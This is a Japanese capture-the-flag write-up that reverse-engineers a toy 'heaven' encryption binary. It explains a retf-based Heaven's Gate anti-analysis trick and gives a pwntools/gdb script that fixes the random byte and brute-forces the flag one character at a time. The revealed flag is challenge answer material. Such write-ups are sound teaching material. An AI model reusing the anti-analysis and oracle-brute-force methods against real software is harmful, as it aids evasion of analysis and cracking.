heaven:  ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3a99242dfe286c6f548dc4e4af2763ffedee54cf, for GNU/Linux 3.2.0, not stripped
log.txt: ASCII text
$ cat log.txt
$ ./heaven
------ menu ------
0: encrypt message
1: decrypt message
2: exit
> 0
message: ctf4b{---CENSORED---}
encrypted message: ca6ae6e83d63c90bed34a8be8a0bfd3ded34f25034ec508ae8ec0b7f
$

「decrypt messageすればいいのでは?」と思ったので試しました:

./heaven
------ menu ------
0: encrypt message
1: decrypt message
2: exit
> 1
TODO: implement decrypt_message()
------ menu ------
0: encrypt message
1: decrypt message
2: exit
>^C
$

残念ながら復号機能は未実装のようです。とりあえずIDAで開きました。バイナリはnot strippedであるため、関数名やグローバル変数名は残っています。ざっくりローカル変数の命名をしたmain関数がこちらです:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int dwInputtedValue; // eax
  char *pInputCurrent; // rdx
  int dwCurrentSome; // ecx
  unsigned int dwCurrentSome_1; // eax
  signed __int64 v7; // rdx
  unsigned int v8; // r12d
  __int64 v9; // rbp
  __int64 v10; // rbx
  int v11; // edi
  unsigned __int8 dwRandomValue; // [rsp+7h] [rbp-21h] BYREF
  char strInput[32]; // [rsp+8h] [rbp-20h] BYREF

  getrandom(&dwRandomValue, 1LL, 0LL);
  while ( 1 )
  {
    puts("------ menu ------");
    puts("0: encrypt message");
    puts("1: decrypt message");
    puts("2: exit");
    __printf_chk(1LL, "> ");
    if ( !fgets(strInput, 8, stdin) )
      break;
    dwInputtedValue = strtol(strInput, 0LL, 10);
    switch ( dwInputtedValue )
    {
      case 1:
        puts("TODO: implement decrypt_message()");
        break;
      case 2:
        return 0;
      case 0:
        __printf_chk(1LL, "message: ");
        fgets(message, 256, stdin);
        pInputCurrent = message;
        do
        {
          dwCurrentSome = *(_DWORD *)pInputCurrent;
          pInputCurrent += 4;
          dwCurrentSome_1 = ~dwCurrentSome & (dwCurrentSome - 0x1010101) & 0x80808080;
        }
        while ( !dwCurrentSome_1 );
        if ( (~dwCurrentSome & (dwCurrentSome - 0x1010101) & 0x8080) == 0 )
        {
          dwCurrentSome_1 >>= 16;
          pInputCurrent += 2;
        }
        v7 = pInputCurrent - ((char *)&unk_4041C3 + __CFADD__((_BYTE)dwCurrentSome_1, (_BYTE)dwCurrentSome_1));
        if ( v7 )
        {
          v8 = dwRandomValue;
          v9 = v7 - 1;
          if ( v7 != 1 )
          {
            v10 = 0LL;
            do
            {
              v11 = (unsigned __int8)message[v10++];
              byte_4041BF[v10] = sbox[(unsigned __int8)calc_xor(v11, v8)];
            }
            while ( v9 != v10 );
            v8 = (unsigned __int8)strInput[7];
          }
          __printf_chk(1LL, "encrypted message: %02x", v8);
          print_hexdump((const unsigned __int8 *)message, v9);
        }
        break;
    }
  }
  return 0;
}

正直、よく分かりません。また、途中で呼び出しているcalc_xor関数は以下の内容です:

.text:00000000004013CA                     public calc_xor
.text:00000000004013CA     calc_xor        proc far                ; CODE XREF: main+12E↑p
.text:00000000004013CA                                             ; encrypt_message+29↑p
.text:00000000004013CA 000                 push    rbp
.text:00000000004013CB 008                 mov     rbp, rsp
.text:00000000004013CE 008                 lea     esp, g_SomethingForRetf_CodeSegmentBecome0x23
.text:00000000004013D5 008                 retf                    ; RSP+8しつつ、続行するだけ? $csは0x23になる
.text:00000000004013D6     ; ---------------------------------------------------------------------------
.text:00000000004013D6 000                 mov     eax, edi
.text:00000000004013D8 000                 xor     rax, rsi
.text:00000000004013DB 000                 lea     esp, g_SomethingForRetf_CodeSegmentBecome0x33
.text:00000000004013E2 000                 retf                    ; RSP+8しつつ、続行するだけ? $csは0x33になる
.text:00000000004013E3     ; ---------------------------------------------------------------------------
.text:00000000004013E3 000                 mov     rsp, rbp
.text:00000000004013E6 008                 pop     rbp
.text:00000000004013E7 000                 retn
.text:00000000004013E7     ; ---------------------------------------------------------------------------
.text:00000000004013E8 000                 align 10h

ELFにおいてretf命令を初めて見ました!gdbコマンドでデバッグ実行すると、コードセグメントの値は変わりつつもretfの次の命令を実行するようです。Windows環境では、32-bitプロセスを64-bitプロセスへ変換させる「Heaven's Gate」と呼ばれる手法でretf命令を使うので、今回の用途も同様に耐解析なのでしょうか……?ひとまずcalc_xor関数全体としては関数名通りにxor演算をするだけに見えました。なお、IDAの逆コンパイル結果はretf命令で打ち切られるので、この意味では耐解析になっています:

int __fastcall calc_xor(int a, int b)
{
  int result; // eax

  __asm { retf; RSP+8しつつ、続行するだけ? $csは0x23になる }
  return result;
}

ざっくり眺めるだけでは全く全貌がつかめず困ったので、バイナリを動かして暗号化結果を調べてみました:

$ ./heaven
------ menu ------
0: encrypt message
1: decrypt message
2: exit
> 0
message: a
encrypted message: 5090
------ menu ------
0: encrypt message
1: decrypt message
2: exit
> 0
message: aa
encrypted message: 509090
------ menu ------
0: encrypt message
1: decrypt message
2: exit
> 0
message: ab
encrypted message: 509098
------ menu ------
0: encrypt message
1: decrypt message
2: exit
> 0
message: ba
encrypted message: 509890
------ menu ------
0: encrypt message
1: decrypt message
2: exit
>

どうやら以下のことが成り立つようです:

  • 暗号化結果は「入力文字数+1バイト」になる
  • 先頭バイトはよく分からず
  • 2バイト目以降は、入力文字にそれぞれ対応しそう
  • 入力で同一の文字を繰り返すと、暗号化結果にも同一のバイトが繰り返し登場する

暗号化結果の先頭バイトはなんだろうかとIDAの逆コンパイル結果を見直すと、main関数冒頭でgetrandom(&dwRandomValue, 1LL, 0LL)と、乱数1バイトを生成していることが分かりました。「ひょっとすると、その1バイトが0~255それぞれの値を取るパターンを試してやれば、フラグを先頭から復元できるかもしれない」と考えました。この発想でソルバーを書きました:

#!/usr/bin/env python3

import pwn
# pwn.context.log_level = "Debug"
pwn.context.log_level = "Critical" # process関数のログを抑制
BIN_NAME = "./heaven"

def get_hex_encrypted_message(io, message: bytes) -> str:
    io.sendlineafter(b"2: exit", b"0")
    io.sendline(message)
    io.recvuntil(b"encrypted message: ")
    return io.recvline().strip().decode()

EXPECTED = "ca6ae6e83d63c90bed34a8be8a0bfd3ded34f25034ec508ae8ec0b7f"

def crack_flag(io):
    flag = bytearray()
    while b"}" not in flag:
        for c in range(0x20, 0x80):
            current = flag + bytes([c])
            hex_encrypted = get_hex_encrypted_message(io, current)
            if EXPECTED.startswith(hex_encrypted):
                flag = current
                print(f"{flag = }")
                break
        else: return None
    return flag.decode()

# クラックに成功したらフラグ文字列、だめならNone
def force_overwrite_random_1byte(random_value):
    PROMPT = b"gdb-peda$"
    with pwn.process(["gdb", "-q", BIN_NAME]) as io:

        io.sendlineafter(PROMPT, b"b *(main + 24)") # 「call _getrandom」箇所、getrandomはmain以外でも呼び出されるのでgetrandomへのブレーク設置は避ける
        io.sendlineafter(PROMPT, b"run")
        io.sendlineafter(PROMPT, b"p $rdi")
        line = io.recvline_contains(b" = ")
        addr_random_value = int(line.decode().strip().split(" ")[2], 16)
        print(f"{hex(addr_random_value)} = {random_value}")
        io.sendlineafter(PROMPT, b"ni")
        io.sendlineafter(PROMPT, f"set *((unsigned char*){hex(addr_random_value)}) = {random_value}".encode())
        io.sendlineafter(PROMPT, b"c")

        # 以降gdbは関係しないheaven操作
        return crack_flag(io)

for i in range(256):
    result = force_overwrite_random_1byte(i)
    if result:
        print(result)
        break

実行しました:

$ time ./solve.py
0x7fffffffe3d7 = 0
(中略)
0x7fffffffe3d7 = 202
flag = bytearray(b'c')
flag = bytearray(b'ct')
flag = bytearray(b'ctf')
flag = bytearray(b'ctf4')
flag = bytearray(b'ctf4b')
flag = bytearray(b'ctf4b{')
flag = bytearray(b'ctf4b{l')
flag = bytearray(b'ctf4b{ld')
flag = bytearray(b'ctf4b{ld_')
flag = bytearray(b'ctf4b{ld_p')
flag = bytearray(b'ctf4b{ld_pr')
flag = bytearray(b'ctf4b{ld_pr3')
flag = bytearray(b'ctf4b{ld_pr3l')
flag = bytearray(b'ctf4b{ld_pr3l0')
flag = bytearray(b'ctf4b{ld_pr3l04')
flag = bytearray(b'ctf4b{ld_pr3l04d')
flag = bytearray(b'ctf4b{ld_pr3l04d_')
flag = bytearray(b'ctf4b{ld_pr3l04d_1')
flag = bytearray(b'ctf4b{ld_pr3l04d_15')
flag = bytearray(b'ctf4b{ld_pr3l04d_15_')
flag = bytearray(b'ctf4b{ld_pr3l04d_15_u')
flag = bytearray(b'ctf4b{ld_pr3l04d_15_u5')
flag = bytearray(b'ctf4b{ld_pr3l04d_15_u53')
flag = bytearray(b'ctf4b{ld_pr3l04d_15_u53f')
flag = bytearray(b'ctf4b{ld_pr3l04d_15_u53fu')
flag = bytearray(b'ctf4b{ld_pr3l04d_15_u53ful')
flag = bytearray(b'ctf4b{ld_pr3l04d_15_u53ful}')
ctf4b{ld_pr3l04d_15_u53ful}
./solve.py  85.75s user 12.60s system 89% cpu 1:49.83 total
$

2分弱でフラグを入手できました: ctf4b{ld_pr3l04d_15_u53ful}

(フラグを見るに、想定解法はSOファイルのpreloadのようです。そちらで乱数を固定するのでしょう。)

感想

  • 想定難易度beginner, easyの問題はすべて解けたので一安心です。とはいえ、それらの難易度でも苦戦する問題が多くありました。
  • reversingジャンル問題を全問正解できて満足です!
  • 全体的に、解けているチームが多い問題はどうにかなりました。少ないチームだけが解けている問題を私も解けると格好いいのですが、なかなか難しいです。
  • DockerはもはやCTFにおける基本装備な印象を覚えました。とはいえ、一度イメージやコンテナを作った後に一部ファイルを変更した内容を反映させる手順があまりわかっていなかったりするので、まだまだ訓練が必要そうです。
  • pwnジャンルを入門者向けに解説するのはなかなか難しいです。攻撃手法や防衛技術など、関連する事柄がたくさんあって書ききれません……。